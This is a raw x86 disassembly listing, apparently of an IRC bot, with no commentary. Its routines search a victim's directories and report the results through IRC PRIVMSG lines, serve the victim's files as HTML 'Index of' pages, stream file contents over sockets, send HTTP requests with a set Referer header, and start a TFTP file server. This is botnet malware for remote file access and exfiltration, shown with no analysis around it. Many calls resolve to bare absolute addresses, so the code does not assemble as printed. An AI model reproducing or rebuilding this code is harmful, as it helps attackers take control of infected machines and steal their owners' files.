arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------


loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2


loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------


loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------


loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al


loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al


loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A


loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26B0365h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi


loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi


loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172B0
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------


loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx


loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43AE30
		jmp	loc_406380
; ---------------------------------------------------------------------------


loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26707CBh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 26B0000h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2651922h


loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5C
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4407F4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440804[ecx], eax
		jz	short loc_406352


loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		nop
		call	near ptr 2630F90h
		jmp	short loc_406340
; ---------------------------------------------------------------------------


loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43AE30
		nop
		call	near ptr 2670ADCh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49C9p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------


loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------


loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531


loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525


loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8


loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh


loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 26C05EAh
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 26C0000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"


loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch


loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172B0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------


loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------


loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------


loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_406919:				; CODE XREF: sub_406387+315j
		push	esi


loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h


loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		nop
		call	near ptr 2630F90h


loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26D0000h
		nop
		test	eax, eax
		jnz	loc_4065AC


loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		call	near ptr 26B03F3h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26707CBh
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		nop
		call	near ptr 26B0000h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE


loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]


loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 26F0000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 26510A0h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43AD2C
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax


loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52


loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		call	near ptr 2651922h
		nop


loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3


loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh


loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD


loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43AD10
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43AD98
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_436EDC


loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43ADE8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		pop	esi


loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43AE30
		call	dword_43ACF8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43AE18
